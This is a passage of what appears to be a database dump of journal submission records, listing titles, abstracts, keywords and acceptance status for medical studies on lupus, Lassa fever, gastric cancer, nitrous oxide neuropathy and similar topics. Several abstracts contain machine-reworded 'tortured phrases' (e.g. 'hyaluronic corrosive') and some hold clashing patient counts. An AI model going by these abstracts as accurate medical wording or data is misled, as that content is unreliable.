position',3282,NULL,'2021-09-13',NULL,'Submitted',4,NULL,'2021-11-27',NULL,1,1,'1','Accepted the article',0,NULL,NULL,NULL,0,0,0,NULL,0),(10483,11130,996,0,'ipar-21-10483','Inflammatory arthritis and younger age of Lupus onset are associated with the development of Neuropsychiatric Lupus: Experience from a Single Centre in Pakistan',NULL,14,0,'','Objective:\r\nTo determine the prevalence of neuropsychiatric manifestations of Systemic Lupus Erythematosus (NPSLE) among SLE patients attending a tertiary care rheumatology center and to compare it with a cohort of SLE with no neuropsychiatric features. 	\r\nMethods and Materials: \r\nIn this prospective cohort analysis, all SLE patients attending rheumatology department of Fatima Memorial Hospital during study period (January 2018 through to April 2019) were included. Association of demographic data and clinical manifestations of SLE with neuropsychiatric manifestations was studied, and the cohort of NPSLE patients was compared with a cohort of SLE with no neuropsychiatric features.\r\nResults: \r\nDuring the study period, 269 SLE patients attended our rheumatology department. After detailed clinical assessment and follow up, 54 patients were diagnosed with NPSLE features – prevalence of about 21.1% (57 out of 269 patients). Among central neurological manifestations, seizures were present in 21 (36.8%) patients, lupus associated headache in 12 (21%), stroke in 10 (17.5%), and acute psychosis in 11(19.2%) of patients. Peripheral nervous involvement comprising of Mononeuritis multiplex, and cranial neuropathy occurred in 2 (3.5%) and 1 (1.7%) respectively. On performing multiple regression analysis, a significant association of NPSLE features was noted with the presence of inflammatory arthritis (OR 15.8, CI 4.7-53, P<0.001), younger age at the diagnosis of SLE (OR 0.89, CI 0.81-0.97, p=0.01) and pyrexia (OR 10.7, CI 3.2-36, P<0.001).	\r\n\r\nConclusion:\r\nNPSLE is present in 21.1% of patients with SLE. Presence of inflammatory arthritis, younger age of the development of SLE, and episodes of pyrexia are predictive of NPSLE features.\r\n\r\n','Neuropsychiatric SLE, Stroke, Seizure, Prevalence, Systemic Lupus Erythematosus.',3649,NULL,'2021-09-13',NULL,'Submitted',2,NULL,'2022-07-30',NULL,1,1,'0',' ',0,'','',NULL,0,0,0,NULL,0),(10486,11133,45,0,'iphsj-21-10486','The Relationship of Emotional Intelligence, Physical Activity, Eating Behaviors, Sleep and Health-related Behaviors: A Systematic Review',NULL,15,0,'','Introduction: Physical activity (PA) is one of the human behaviors that promote health. Physical activity, sleep, eating habits, and a variety of other health-related behaviors are all factors that influence one\'s overall health. Each of these health determinants is influenced by an individual\'s emotional intelligence. The present systematic review emphasizes the importance of emotional intelligence in maintaining good health in the longer run.\r\nObjective: This study aimed to examine the relationship of emotional intelligence, physical activity, eating behaviors, sleep and health-related behaviors. \r\nMethods: A comprehensive database search using databases of Pubmed, PsycINFO, ScienceDirect, Medline, and Google Scholar was conducted and records published from January 2011 to January 2021 were taken. Twenty-four studies were included in the systematic-review. Search strategy was presented by PRISMA flowchart.\r\nResults:Five studies tested the association of emotional intelligence with physical activity showing thatthere was a significant and positive association of emotional intelligence with different levels of physical activity. Twelve studies tested the association of emotional intelligence with eating behaviors that included diet and eating disorders. Results showed that eating disorders had a significant association in individuals with low EI. Three studies showed the effect of emotional intelligence on pro-health behavior whereas only one study reported the effect of emotional intelligence on risk-taking behaviors.Three studies conducted on students reported that sleep was positively associated with emotional intelligence especially with emotional competence.\r\nConclusion: Individuals with higher levels of EI have behaviors that can be classified as healthy. Physical activity aids in the improvement of both mental and physical health by reducing stress, which is linked to EI. Individuals with a low EI are more likely to develop eating disorders and engage in anti-health behaviors such as smoking and drinking. Similarly, sleep disturbances are common in these individuals. EI training should be made a part of the curriculum in light of the current systematic review, as improvements in EI are likely to influence behaviors that promote health.\r\n','emotional intelligence, eating behaviors, physical activity, sleep, health behaviors, pro-health behaviors, ',458,NULL,'2021-09-13',NULL,'Submitted',16,NULL,'2021-09-22',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10493,11138,251,0,NULL,'Probiotic effects of  Metschnikowia  isolated from aquatic environment',NULL,14,0,'','Probiotics are defined as live micro-organisms which confer a health benefit on the host. Although most probiotics are bacteria, some of them are yeasts. The main objective of this study was to identify and characterize the probiotic yeasts isolated from both aquatic environment and dairy products by Sanger sequencing method and then phylogenetic tree was thrown for the identified probiotic yeasts. \r\nThe first sampling of dairy and non-dairy products was done randomly. The Characterization of yeasts was conducted by molecular strategies based on the amplification and sequencing of the ribosomal DNA internal transcribed spacer region. MEGA7 software was also applied for alignment (Muscle algorithm) and to create an agreement Neighbour-Joining analysis to determine the phylogenetic relationship of isolated species. For an in vitro selection of the probiotic candidates, Survival of isolates at different temperatures, PH and bile salts was assessed.\r\nBased on biochemical assays and gene sequencing, the isolates were detected as Candida albicans (Wb), Clavispora lusitaniae (WC), Metschnikowia (KC) and Saccharomyces cerevisiae (Vc) strains. We indicated that Wb and KC isolates could significantly grow at 37°C after three hours and tolerate bile salts. Wb, KC and Vc species also could proliferate at pH~1. 5. \r\nThe result of the present study indicates that Wb and KC strains isolated from the marine environment and dairy products have great potential for use as probiotics in the food industry.\r\n','Probiotic, Candida albicans, Clavispora lusitaniae, Metschnikowia, Saccharomyces cerevisiae',3944,NULL,'2021-09-13',NULL,'Submitted',4,NULL,'2021-09-30',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10505,11150,91,0,'ijddr-21-10505','DETERMINATION OF ANTIOXIDANT ACTIVITY OF BEETROOT LIP BALM BY FLUORIMETRY AND HPTLC METHODS',NULL,14,0,'','Lip balm was prepared and its antioxidant activity was determined by PFRAP, CUPRAC, Flourimetry methods and results of emission spectra was examined and fournd to possess almost same concentration of 0.3 ug/ml. And the ascorbic acid was determined by HPTLC method and the Rf value of the lip balm was found to be 0.98 and is near to the abscorbic acid sample. And hence proved that beetroot lip balm was found to possess antioxidant activity. The anti oxidant activity was determined and was found to be simple, novel and economical.\r\n\r\n','Antioxidants; PFRAP, CUPRAC, Flourimetry and HPTLC.',4616,NULL,'2021-09-14',NULL,'Submitted',4,NULL,'2021-10-12',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(10509,11155,91,0,'ijddr-21-10509','Current advancements in drug delivery',NULL,3,2,'','Drug delivery systems (DDS) are characterized as strategies by which medications are conveyed to wanted tissues, organs, cells and subcellular organs for drug delivery and retention through an assortment of medication transporters. It’s typical reason to work on the pharmacological exercises of helpful medications and to beat issues like restricted solvency, drug total, low bioavailability, helpless biodistribution, absence of selectivity, or to diminish the results of restorative medications.','Pharmacological, drug, organ',2231,NULL,'2021-09-15',NULL,'Submitted',19,NULL,'2021-09-22',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,4,0,NULL,0),(10523,11169,45,0,'iphsj-21-10523',' ASSESSMENT OF PREPAREDNESS AND COMMUNITY BASED INTERVENTION STRATEGIES FOR PREVENTION AND CONTROL OF LASSA FEVER IN RURAL MALETE, KWARA STATE',NULL,8,2,'','Background: The outbreak of Viral Hemorrhagic Fevers (VHFs) in the West African sub region in recent times had negative consequences on the health systems, international travels, movements and trades. Nigeria is still battling with a significant spread of Lassa Fever (LF) outbreak.\r\nAims: This study assessed preparedness and community based intervention strategies for prevention and control of Lassa fever in rural Malete, Kwara State.\r\nMethodology: This was a descriptive cross-sectional study carried out among. Two hundred and fifty nine (259) people in rural Malete.  Study respondents were selected using multistage sampling technique. A well- structured, paper-based, interviewer administered questionnaire was used for data collection. Data was analyzed using Statistical Package for Social Science (SPSS) version 25.0, software package for windows (IBM SPSS, 2017) descriptive and classical statistics were adopted and the level of significance for the statistical tests was set at ≤ 0.05.\r\nResult: More than half of the respondents 75(64.7%)  in the age group (21- 30years) Agree they know strategies against Lassa fever prevention and control in Malete, 35(57.6%) in the age group (31-40years) of the respondents also agree they know strategies against Lassa fever prevention and control in Malete. Majority 39(77.3%) of respondents in the age group (41-50 years) agree they know strategies against Lassa fever prevention and control in Malete. 12(52%) of the respondents in (51- above years) years category agree that they know if the state regulations for protection against radiation is available.\r\nDiscussion: Past epidemic control in Nigeria have occurred, leaving little or no traces of existing control structures behind and preparing no ground for future outbreaks, and little or no emphasis on preparedness. Adequate training and retraining of health care providers as well as the establishing well equipped infectious disease clinics, laboratories and research centers would help in the prompt containment, diagnosis and treatment of Lassa and would help in averting possible future outbreaks.\r\n','Lassa fever, Community Intervention, Preparedness, Assessment',685,NULL,'2021-09-15',NULL,'Submitted',19,NULL,'2021-10-04',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(10524,11170,971,0,'ipaclr-21-10524','Expression of HER2 in Gastric Carcinoma',NULL,14,0,'','Introduction: Gastric cancer is the fourth commonest cancer worldwide. It is also recognized as the second commonest cause of cancer related death in the global perspective. Although the incidence of gastric cancer has gradually decreased over the last half of the century, it varies among the different part of the world and different ethnic group. Mortality from gastric cancer extremely high, and it is second only to lung cancer. Gastric cancer occurs more frequently in men than in women.\r\nAim of the study: Aim of the study was to find out expression of HER2 in gastric carcinoma.\r\nMaterial & Methods: This cross sectional study was conducted in the Department of Surgical Oncology of National Institute of Cancer, Research and Hospital, Mohakhali, Dhaka. The study period was from March, 2014 to April, 2015. A total of 80 patients were included for the study. After receiving the gastrectomy specimen, it was fixed in 10% formaldehyde. Data were compiled and necessary statistical analysis were carried out using computer based software package for social science (SPSS 16.1). Ethical clearance was taken from the ethical committee of NICRH. \r\nResults: The highest patients were from 61-70 years age group and the lowest were from 71-80 years. The mean age of the patients was 59.71 (±10.19) years. The female to male ratio in this study was 1: 2.48. 66 (82.5%) patients were presented with anemia which was followed by 39 (48.75%) cases with dehydration. Most of the tumors were located in the distal part of the stomach (11.67%). Regarding staging 79(12.65%) patients were in the advanced stage of the disease. The correlation between HER2 overexpression and TNM staging has been tabulated below where it is shown that only Nodal (N) staging has the significant correlation with the HER2 overexpression.\r\nConclusion: It is already mentioned that, in early history of immunohistochemistry, HER2 overexpression in case of carcinoma stomach was highly varied in different studies (from 9-92%). But recently, it was found around 9-32%, in several studies all over the world. It is necessary to conduct further studies with larger samples and long term follow-up in order to draw definite conclusions regarding the role of HER2/neu overexpression.','Gastric cancer, Expression, HER2, Epidermal, Prognosis.',4702,NULL,'2021-09-16',NULL,'Submitted',2,NULL,'2021-10-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10526,11172,85,0,'iphspr-21-10526','Indonesian gay men’s heterotopia creation through disidentification strategies',NULL,3,0,'','Indonesia’s desire for modernity led to the marginalization of gay communities (Adihartono, 2015; Khanis, 2013; Oetomo & Emond, 1993). It had deteriorated sharply in 1980s as the global health program introduced Indonesia to HIV/AIDS as a ‘gay men’s disease’ (Boellstorff, 2007; Whiteside, 2016). Indonesia dominant society that is highly heteronormative intensely create stigma against gay community. The dominant structure, such as media, regulatory body, schools, and religious identify Indonesia gay men as a social evil who are promiscuous, a circuit wild party attendance, and drug users – who spread HIV/AIDS. In what follow, these stigmas have created marginalization (Anwar & Wahyuni, 2017; Fauk, Merry, Sigilipoe, Putra, & Mwanri, 2017) and criminalization against gay community (Boellstorff, 2005; Smit et al., 2012). As the result gay community keep themselves out of sight to prevent threats from dominant society (Wieringa, 2019; Wijaya, 2020). Consequently, this complex interplay of factors keeps them hidden from Fast-track approach.  ','heterotopia, Global health, Health Care',4068,NULL,'2021-09-16',NULL,'Submitted',2,NULL,'2021-10-28',NULL,1,1,'1','Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10527,11173,971,0,'ipaclr-21-10527','RETROSPECTIVE COHORT STUDY TO ASSES FEASIBILITY AND TO EVALUATE SHORTERM OUTCOMES OF LAPAROSCOPIC SURGERY IN RECTAL CANCER',NULL,14,0,'','Cancer of the rectum, defined as a tumor within 15cm from the anal verge, accounts for approximately\r\n30% of all colorectal malignancies. Colon and rectum cancer are the second leading cause of cancer\r\ndeath in the United States. Colorectal cancer is a relatively uncommon malignancy in India when\r\ncompared with the western world but incidence of cases below 50yrs is increasing. [1,2,]\r\nTreatment of rectal cancer is predominantly surgical excision with addition of neoadjuvant therapy\r\n(radiotherapy or chemoradiotherapy) or adjuvant therapy in selected cases. Total mesorectal excision\r\n(TME) is now considered the gold standard, with fewer local recurrences and better overall survival\r\n[3,4]','RECTAL CANCER, radiotherapy and chemoradiotherapy',4702,NULL,'2021-09-16',NULL,'Submitted',2,NULL,'2021-12-16',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10588,11219,85,0,'iphspr-21-10588','Research Uptake in a Low-Resource Setting- How can a low-resource country improve?',NULL,14,0,'','Context: Low-resource countries, including South Africa, face similar challenges in implementing research findings, where there is an enormous time-lags between discovery and integration of research evidence in practice and policy development due to shortage of resources, skills and competing priorities. \r\n\r\nObjective: This paper attempts to resolve this, by focusing on the emergence and persistence of low research uptake to develop a tailored model to enable an optimal uptake of public health research findings. \r\n\r\nMethods: Although the study initially employs a two-phase exploratory sequential approach, this paper focuses on the results generated from quantitative approach. \r\n\r\nResults: By use of Exploratory Factor Analysis, the survey results established a total of 13 factors affecting research uptake: four individual factors (support, experience, motivation and time factor); four organisational factors (research agenda, funding, resources and partnerships), and five research characteristics factors (gatekeeping, local research committees, accessibility of evidence, quality of evidence and critical appraisal skills). However, the Spearman’s correlation coefficient revealed that only six factors had a significant positive correlation with research uptake, namely: support, experience, motivation, time factor, resources, and critical appraisal skills.\r\n\r\nConclusions: In the context of research uptake in low-resource settings, understanding of these critical factors is important to developing targeted interventions for improving research uptake. \r\n','Healthcare Policy\r\nHealthcare Practice\r\nLow-resource countries\r\nResearch Uptake\r\nModel',3282,NULL,'2021-09-17',NULL,'Submitted',2,NULL,'2021-10-22',NULL,1,1,'0','Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10597,11224,251,0,'ipacm-21-10597','Diagnostic Metagenomics as Diagnostic Tools in Infectious Diseases',NULL,25,0,'','Treatment of infections with culture-negative results represents a challenge to clinicians. Culture-independent broad-range nucleic acid sequencing methodologies capable of identifying pathogens at the genomic level have emerged as powerful diagnostic tools. While traditional Sanger sequencing only allows a single target detection, metagenomic next-generation sequencing (mNGS) enables the detection of all types of organisms, including viruses, bacteria, fungi, and parasites, in a single-assay. Its potential for broad-range pathogen detection with  high sensitivity offers a diagnostic opportunity for patients with a wide-range of differential diagnoses. Currently there is no FDA-approved metagenomic diagnostic test. Clinical laboratories face many obstacles in implementing mNGS assays. Streaming sequencing process, developing and validating a comprehensive database, and standardizing the bioinformatics pipelines for data analysis are among the challenges to be addressed. When the technology becomes more readily available in clinical laboratories, its value for improving infectious diseases diagnosis will be realized.','',3944,NULL,'2021-09-18',NULL,'Submitted',2,NULL,'2021-10-18',NULL,1,1,'1','  ',0,NULL,NULL,NULL,0,0,0,NULL,0),(10602,11229,975,0,'ipjbs-21-10602','Continuous Time Markov Chains for Analysis of Non-Alcoholic Fatty liver Disease Evolution',NULL,15,0,'','In the present paper, progression of non-alcoholic fatty liver disease (NAFLD) process is modeled by Continuous time Markov chains (CTMC) with 4 states .The transition intensities among the states are estimated using maximum likelihood estimation (MLE) method. The transition probabilities are also calculated. The mean sojourn time and its variance are estimated as well as the state probability distribution and its asymptotic covariance matrix. The life expectancy of the patient, one of the important statistical indices, is also obtained. The paper illustrates the new approach of using MLE to compensate for missing values in the follow up periods of patients in the longitudinal studies. This new approach also yields that the estimated rates among states are approximately equals to the observed rates.   ','Continuous time Markov chains, Life expectancy, Maximum Likelihood estimation, Mean Sojourn Time, Non-Alcoholic Fatty Liver Disease, Panel Data.       ',3677,NULL,'2021-09-19',NULL,'Submitted',4,NULL,'2021-10-26',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(10620,11241,86,0,'ipaom-21-10620','Is There Any Modern and Efficient Cure of nCOVID-19?',NULL,5,0,'','COVID-19 virus produces a viral infection disease that hits any person and \r\nadvances into threatening ailment and death. Besides, this respiratory outbreak was \r\nidentified in 2019 then transported by direct communication in 2020 till now. \r\nConsequently, any person could send this virus despite the mild flu he suffered and \r\nrecovered without particular medication','COVID-19 virus',3386,NULL,'2021-09-20',NULL,'Submitted',2,NULL,'2021-09-21',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10628,11247,73,0,'ipjnn-21-10628','Neurological Manifestations Post Recreational Nitrous Oxide Exposure and its Implications for Rehabilitation: A Systematic Review of the Case Literature',NULL,15,0,'','Title:\r\nNeurological Manifestations Post Recreational Nitrous Oxide Exposure and its Implications for Rehabilitation: A Systematic Review of the Case Literature\r\n\r\nBackground: \r\nThe use of Nitrous Oxide (N2O) in a recreational setting has been documented since the late 18th century as a euphoric agent termed \"laughing gas\". There has been a resurgence in its use in the recreational setting particularly among the youth in the community despite falling into disrepute in anaesthetics due to its associated haematological and neurological complications. The primary aims of this systematic review is to detail the common neurological manifestations associated with the recreational use of N2O, detail its many mobility and functional impairments and identify potential predictors of neurological recovery including a period of rehabilitation prior to discharge. \r\n\r\nMethods and Findings: \r\nA detailed systematic review of the available literature was conducted using six different databases. Key Medical Subject Heading (MESH) terms were identified including \"Nitrous Oxide\", \"Laughing Gas\", \"Vitamin B12\", \"Spinal Cord\" and \"Substance Related Disorders\". Only case reports and case series were included. Patient demographics, presenting neurological impairments, neurological examination findings, laboratory, imaging and neurophysiological results were extracted. Mobility and functional deficits on presentation, treatment instituted including the provision of rehabilitation was also extracted. \r\n\r\n66 unique articles met our inclusion criteria which included 88 individual cases. This included 43 males and 32 females with a mean age of 26 (±7.51) years. The most common presenting neurological impairment was sensory disturbance (72%) and gait disturbance (47%). The most common neurological findings on clinical examination included vibration loss (68%) and proprioceptive loss (59%). 79 cases had some form of mobility and functional impairment on presentation but only 34 cases demonstrated residual neurological deficits on discharge. Of this, 59% had moderate to severe deficits while 41% had mild deficits. Despite most patients receiving supplemental vitamin B12, only 12 patients received a period of rehabilitation prior to discharge who had ongoing deficits. \r\n\r\nConclusion: The recreational use of nitrous oxide is an underreported cause of significant neurological impairments causing significant mobility and functional deficits. However, many of the patients with ongoing deficits are not offered a period of intensive multidisciplinary rehabilitation which could address many of these impairments and improve outcomes. \r\n\r\n\r\n\r\n\r\n\r\n','Nitrous Oxide, Laughing gas, Vitamin B12, Spinal cord, Rehabilitation, Substance Related Disorders',334,NULL,'2021-09-20',NULL,'Submitted',2,NULL,'2021-10-05',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10635,11250,73,0,'ipjnn-21-10635','Alcohol Impedes Neuroplasticity and Functional Recovery After Stroke',NULL,14,0,'','Background: Recovery after stroke depends upon neurogenesis, angiogenesis and synaptogenesis known as neuroplasticity. Neurotrophins play very important role in neuroplasticity but it can be affected by several risk factors such as diabetes mellitus (DM), hypertension, smoking and alcohol consumption. In this study we tried to find out the most significant risk factor which severely affect stroke outcome and neuroplasticity.\r\nSubjects and methods: In this study 208 patients with stroke were recruited and divided into two groups according to presence and absence of risk factors such as diabetic- non diabetic; hypertensive- non hypertensive; with and without both DM+ hypertension and alcoholic- non alcoholic. We used Functional Independence Measure (FIM) Scale to assess functional recovery and Serum Brain Derived Neurotrophic Factor (S. BDNF) to assess neuroplasticity in each patient. \r\nResults: Alcohol is the most significant risk factor which affect the stroke outcome severely. Non- alcoholic patients showed better recovery and higher serum BDNF levels than alcoholic patients. The improvement was highly significant both after two weeks (p= .025) and at six months (p= .001). Lower serum levels of BDNF were observed in group 1 at admission (Group. 1= 8.51±4.26 ng/ml; group 2= (10.34±3.96 ng/ml, p= .001). FIM score in alcoholics 34.66± 9.81 to 60.33±15.31 and in non- alcoholics 39.48±19.30 to 68.24±20.29, p= .03). Alcohol was found a significant risk factor for poor outcome (F (2.5), p= .023). \r\nConclusion: These findings suggest us that alcohol slows down the process of neuroplasticity and is a risk factor for poor outcome after stroke. \r\n','Key- Words: Stroke, alcohol, neuroplasticity, outcome',358,NULL,'2021-09-20',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(10648,11259,975,0,'ipjbs-21-10648','Is Immunology growing rapidly in scientific field?',NULL,5,1,'Health and disease','Immunology is the branch of biomedical concerned with the structure and function of the immune system. Immunologists study how the immune system defends the body against attack from micro-organism and parasites how it discriminates between self and non-self how it deals with foreign molecules and how it recognizes and deals with neoplastic and virally transformed cells, as well as transplanted organs, cells and proteins. They are also concerned with what happens when the immune system acts against self. The complexity of immunology can be quite daunting','Immunology, biomedical,Monoclonal,antibodies',4089,NULL,'2021-09-21',NULL,'Submitted',2,NULL,'2021-10-01',NULL,1,1,'1','Article can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(10649,11260,975,0,'ipjbs-21-10649','Clinical issues is the human dimension of a drug project',NULL,5,1,'Health and disease','The main feature of Translational Medicine is the bringing function between preclinical and clinical research. It aims at answering the following simple but tremendously important question, if a drug X works in rats, rabbits and even monkeys, how likely is it the drug will be beneficial to humans? Historically how did this simple and straightforward question, which is naturally inherent to all drug development processes, become of prime relevance in biomedical research.If all drug, device or test development components were closely connected within a common structure, the necessity to develop the discipline of Translational Medicine would probably not have become apparent','clinical research, Translational Medicine',4089,NULL,'2021-09-21',NULL,'Submitted',2,NULL,'2021-10-01',NULL,1,1,'1','Can be publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(10665,10307,45,0,'iphsj-21-10665','Antigen Rapid Test is Expected to Accelerate the Detection Efficiency of the COVID-19 Epidemic',NULL,15,0,'','Objective: Explore the performance and strength & weakness of antigen rapid test methods in detecting COVID-19 epidemic.\r\nMethods: Selected 7 different companies’ antigen rapid test (nasal swab) product test data for comparison and the clinical results (sensitivity, specificity and accuracy) of each company\'s swab rapid antigen test product are obtained. Different onset time samples were tested with RT-PCR and COVID-19 antigen tests. Total 421 specimens were used in clinical study and the research will respect the autonomy of participants and conducts follow-up assessment of the rapid test to determine whether the COVID-19 is associated with the results. The sample used for rapid detection of COVID-19 antigen was nasal swab.  \r\nResults: Through clinical research show that the detection rate of COVID-19 antigen was decreased gradually, it was corresponding to the nature of antigen in the human body.\r\nConclusion: The emergence of various COVID-19 rapid tests (especially nasal swab) enables health professional to complete the preliminary screening. Antigen detection method has own advantages in COVID-19 epidemic. In antigen detection, we use products of different companies (Abbott, Roche, Healgen, Acro, Siemens, Lepu, Wondfo) to predict the advantages of convenient and sample collection, high throughput, low workload, high reproducibility and low cost in practical applications.','COVID-19; Rapid test; Antigen; Nasal swab',643,NULL,'2021-09-22',NULL,'Submitted',2,NULL,'2021-10-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10674,11279,91,0,'ijddr-21-10674','FORMULATION AND EVALUTION OF POLYHERBAL HAIR OIL',NULL,14,0,'','Herbal formulations always have attracted considerable attention because of its lesser and nil side effect compared with synthetic drugs. The concept of beauty and cosmetics are an ancient as mankind and civilization. Various herbal beauty products are widely used and continuously increasing in their demand by the common people because of lesser side effects and with better safety and security profile The objective of the present study is to prepare poly herbal hair oil using Fenugreek Trigonella foenumgraecum fabeaceae Amla E. officinalis, Euphorbiaceae Heena Lawsonia inermis Lythraceae. Hibiscus Hibiscus mallow Malvaceae. Tulsi leaves Ocimum sanctum Laminaceae Bramhi powder Bacopa monnieri Plantaginaceae Curry leaves Murraya koenigii Rutaceae Durva Cynodon dactylon Poaceae Kalonji seeds Nigella sativa Ranunculaceae Bringraj powder Eclipta prostrate AStraaceae Nirgudi Vitex negundo Lamiaceae Jatamansi Nardostachys jatamansi Caprifoliacecae Shankhapushi Convolvulus Pluricaulis Convolvulaceace Hirda powder Terminalia chebula Combretaceae Kapur Kachari Hedychium spicatum Zingiberaceae. The Four different oil formulations were prepared using different oil base either single or in combinations with different concentrations. For the purpose the powdered drugs soften by cold maceration process for overnight and further the extraction was done in oil base by boiling method. The formulated herbal oils of different concentrations were evaluated for proximate analysis and various parameters such as Viscosity, Saponification value, pH, Acid value, Grittiness, Skin irritation, Sensitivity test, Moisture content, and Specific gravity are reported in this paper. Further the prepared oils will be evaluated for their hair growth stimulating activity.','Hair, polyherbal, Oil, maceration, evaluation',4940,NULL,'2021-09-22',NULL,'Submitted',4,NULL,'2021-10-12',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(10697,11297,971,0,'ipaclr-21-10697','Loop-Mediated Isothermal Amplification (LAMP): A Rapid Tool for Microbial Diagnosis.',NULL,15,0,'','The contributions of nucleic acid amplification to the field of medical science cannot be overemphasized. Polymerase chain reaction (PCR) has been the most preferred technique of nucleic acid amplification over the years as a result of its high sensitivity. However, PCR limitations which include high cost of set up and high level of expertise needed makes it a setback to many researchers. Loop Mediated Isothermal Amplification (LAMP) was introduced to fill these bridges. In this review, previous studies of LAMP are highlighted, laying more emphasis on its types, usage, detection of its amplicons as well as its merits and demerits. LAMP advantages include its Simplicity, Cost effectiveness, Rapidity, Specificity and Direct use of sample from site of infection. The various application of LAMP is also discussed. We have concluded that Since LAMP conform to the criteria set by the World Health Organization for an ideal diagnostic tool, LAMP will continue to be a valuable and important tool for diagnostic and research both in developed and developing countries in the future','LAMP, Amplification, PCR, Primer, Pathogens, Protozoan, Bacteria, Viruses, Fungi.',4009,NULL,'2021-09-22',NULL,'Submitted',4,NULL,'2021-12-09',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10708,9456,86,0,'ipaom-21-10708','Parkinson\'s Disease: Signs, Affect and Management Factors',NULL,5,0,'','Parkinson\'s Disease (PD) is a chronic, progressive neurodegenerative disorder characterized by both motor and non-motor features.','Parkinson\'s Disease',3799,NULL,'2021-09-23',NULL,'Submitted',2,NULL,'2021-09-24',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10714,11309,959,0,'ipacr-21-10714','Principal component analysis of RNA-seq data unveils a novel prostate cancer-associated gene expression signature',NULL,14,0,'','Prostate cancer (Pca) is a highly heterogeneous disease and the second more common tumor in males. Molecular and genetic profiles have been used to identify subtypes and guide therapeutic intervention. However, roughly 26% of primary Pca are driven by unknown molecular lesions. We use Principal Component Analysis (PCA) and custom RNAseq-data normalization to identify a gene expression signature which segregates primary Prostate Adenocarcinoma (PRAD) from normal tissues. This Core-Expression Signature (PRAD-CES) includes 33 genes and accounts for 39% of data complexity along the PC1-cancer axis. The PRAD-CES is populated by protein-coding (AMACR, TP63, HPN) and RNA-genes (PCA3, ARLN1), validated/predicted biomarkers (HOXC6, TDRD1, DLX1), and/or cancer drivers (PCA3, ARLN1, PCAT-14). Of note, the PRAD-CES also comprises six over-expressed LncRNAs without previous Pca association, four of them potentially modulating driver’s genes TMPRSS2, PRUNE2 and AMACR. Overall, our PCA capture 57% of data complexity within PC1-3. Gene Ontology enrichment and correlation analysis comprising major clinical features (i.e., Gleason Score, AR Score, TMPRSS2-ERG fusion and Tumor Cellularity) suggest that PC2 and PC3 gene signatures may describe more aggressive and inflammation-prone transitional forms of PRAD. Of note, surfaced genes may entail novel prognostic biomarkers and molecular alterations to intervene. Particularly, our work uncovered RNA genes with appealing implications on Pca biology and progression','Principal Component Analysis, RNA-seq, prostate cancer, biomarkers, RNA genes',3216,NULL,'2021-09-24',NULL,'Submitted',2,NULL,'2021-10-26',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(10730,11320,959,0,'ipacr-21-10730','Overview of the teartments of esophageal, liver, pancreas, and rectal cancers ',NULL,3,2,'','In this version of the Gastrointestinal Oncology Scan, we have a couple of declarations to impart to you. Most importantly, both Dr Bhuvnesh Sharma and Dr Shanetia S. Avinger will turn off the article board following 3 years of filling in as partner editors. Both Drs Bhuvnesh  and Shanetia have been constant, brilliant, effective, and honest individuals from the article group, giving exhaustive audits and smart choices. We earnestly say thanks to them for their administration and commitment. Likewise, Dr Salma Jabbour will venture down from the senior editorial manager position, and we are satisfied to report that Dr Jeffrey Olsen will serve in this job. Dr Olsen has been a significant individual from the gastrointestinal sectiondhe has filled in as a partner editorial manager for the beyond 3 years and gave top caliber, savvy, and convenient audits. We are certain his progress will be smooth and he will proceed with his information driven and smart dynamic just as his decent initiative in working with the remarkable partner editors to furnish the readership with first class writing.','bevacizumab, hepatocellular carcinoma, chemoradiotherapy, 3D CRT',3216,NULL,'2021-09-24',NULL,'Submitted',19,NULL,'2021-09-28',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,4,0,NULL,0),(10737,11327,975,0,'ipjbs-21-10737','Point of use Cleaning ',NULL,3,0,'','Point of use Cleaning is vital role in Reprocessing medical Devices/instruments. ','',3460,NULL,'2021-09-24',NULL,'Submitted',2,NULL,'2021-10-23',NULL,1,1,'0','can be publish',0,'','',NULL,0,0,0,NULL,0),(10738,11328,326,0,'IPJUS-21-10738','Hyaluronic Acid Dressings for Burn Wound Treatment: A Systematic Review of the Outcome and Advantages',NULL,6,0,'','Objective: To assess the effectiveness of hyaluronic corrosive within the recuperating of halfway thickness burns and see the result and focal points. Method: Orderly survey of randomized controlled trials on the utilize of hyaluronic corrosive for the topical treatment of skin burns, based on suggestions of the Cochrane Handbook for Efficient Audits of Intercessions. Result: Clinical trials and introductions were considered to be a moo level of prove with certain trials having destitute controls making conclusions troublesome to survey. Conclusion: Hyaluronic corrosive offer comparative points of interest to other burn and intense wound dressings, few drawbacks, no noteworthy unfavorable impacts, tall level of quiet and doctor acknowledgment, and comparatively moo fetched, making them an amazing choice for the healthcare supplier concerned with ideal results in a quickly changing wellbeing financial matters driven therapeutic world.','HA, Burn, Wound, Outcome, Advantage',2505,NULL,'2021-09-24',NULL,'Submitted',2,NULL,'2021-10-19',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10746,11330,326,0,'IPJUS-21-10746','Laparoscopic myomectomy in multiple fibroids',NULL,5,0,'','Myomectomy is the medical procedure of decision for ladies who have suggestive fibroids and who wish to hold their uterus. Laparoscopic myomectomy is desirable over the stomach approach in numerous ways, offering: more quick recuperation, more limited hospitalization, diminished blood misfortune, 